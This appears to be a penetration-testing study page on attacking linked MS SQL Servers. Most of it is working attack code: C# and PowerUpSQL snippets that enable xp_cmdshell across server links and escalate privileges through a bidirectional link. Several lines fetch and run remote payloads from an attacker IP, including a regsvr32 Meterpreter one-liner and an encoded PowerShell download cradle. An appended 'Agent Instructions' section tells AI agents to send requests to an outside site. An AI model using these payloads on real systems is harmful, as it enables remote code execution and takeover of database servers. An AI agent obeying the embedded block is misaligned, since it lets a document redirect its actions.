# Linked SQL Servers

{% embed url="<https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-openquery-openrowset-exec-at?view=sql-server-ver16>" %}
While Microsoft documentation specifies that execution of stored procedures is not supported on linked SQL servers with the OPENQUERY keyword, it is actually possible.
{% endembed %}

## Enumerate for linked servers

{% code title="with PowerUpSQL" overflow="wrap" %}

```powershell
Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1

#to find login account for EXEC AS LOGIN
Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select * from master..syslogins" | ft
```

{% endcode %}

{% code title="insert into Main" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// Enumerate linked servers (see other server instance name)
			String res = executeQuery("EXEC sp_linkedservers;", con);
			Console.WriteLine($"[*] Found linked servers: {res}");
```

{% endcode %}

{% hint style="info" %}
May also found links in other forest, then compromise with the same way.

enum across trusted domain: `setspn -T corp1 -Q MSSQLSvc/*`

enum across trusted forest: `setspn -T corp2.com -Q MSSQLSvc/*`
{% endhint %}

{% code title="insert into Main" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// in compromised SQL server, execute on target linked server & check login context
			String linktarget = "Instance2"; 
			String login = executeQuery($"EXEC (SELECT SYSTEM_USER;) AT {linktarget};", con);
			Console.WriteLine($"[*] Logged in as: {login} on {linktarget}");
			String uname = executeQuery($"EXEC (SELECT USER_NAME();) AT {linktarget};", con);
			Console.WriteLine($"[*] Database username: {uname} on {linktarget}");
			getGroupMembership("public", con);
			getGroupMembership("sysadmin", con);
```

{% endcode %}

It is possible that we can logon as privileged user on another server even we are having low privilege on the original server. Try Impersonating using the info from the output in the beginning if not.&#x20;

## Command Execution

{% code title="with PowerUpSQL" overflow="wrap" %}

```powershell
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" | ft
```

{% endcode %}

<pre class="language-csharp" data-title="insert into Main" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">			// Execution on linked server
			String linktarget = "Instance2"; 
			//String res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);
			String res = executeQuery($"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled advanced options on {linktarget}.");
			//res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);
			res = executeQuery($"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled xp_cmdshell option on {linktarget}.");
			String cmd = "powershell -enc <a data-footnote-ref href="#user-content-fn-1">KABOAEUAWAA=</a>";
			res = executeQuery($"EXEC ('xp_cmdshell ''{cmd}'';') AT {linktarget};", con);
			Console.WriteLine($"[*] Triggered command. Result: {res}");
</code></pre>

{% code title="using openquery" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// Execute on linked server via 'openquery'
			String linktarget = "Instance2";
			String res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')", con);
			Console.WriteLine($"[*] Enabled advanced options on {linktarget}.");
			res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')", con);
			Console.WriteLine($"[*] Enabled xp_cmdshell options on {linktarget}.");
			res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll''')", con);
			Console.WriteLine($"[*] Triggered Meterpreter oneliner on {linktarget}. Check your listener!");
```

{% endcode %}

## Privilege Escalation on the local server via bidirectional link

When the link from *instance 1* to *instance 2* has ***sa*** security context, and *instance 2* has a link to *instance 1*, we could follow the link to *instance 2* to obtain the ***sa*** login context and return back over the link to instance 1. Use when no other privilege escalation paths on the local server.

{% code title="insert into Main" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// Escalate via double database linkedString 
			String su = executeQuery("SELECT SYSTEM_USER;", con);
			String localser = "Instance1";
			String linktarget = "Instance2";
			Console.WriteLine($"[*] Current system user is '{su}' in {localser} database.");
			su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select SYSTEM_USER as mylogin');", con);
			Console.WriteLine($"[*] Current system user is '{su}' in database '{linktarget}' via 1 link.");
			su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select mylogin from openquery(\"{localser}\", ''select SYSTEM_USER as mylogin'');');", con);
			Console.WriteLine($"[*] Current system user is '{su}' in database '{localser}' via 2 links.");
			String res = executeQuery($"EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled advanced options on {localser} via link back from {linktarget}.");
			res = executeQuery($"EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled xp_cmdshell option on {localser} via link back from {linktarget}.");
			String cmd = "regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll";
			res = executeQuery($"EXEC ('EXEC (''xp_cmdshell ''''{cmd}'''' ;'') AT {localser};') AT {linktarget};", con);
			Console.WriteLine($"[*] Triggered command. Result: {res}");
```

{% endcode %}

[^1]: `iconv -f ASCII -t UTL-16LE <<<"(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/shell.txt') | IEX" | base64 -w0`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/ms-sql/linked-sql-servers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
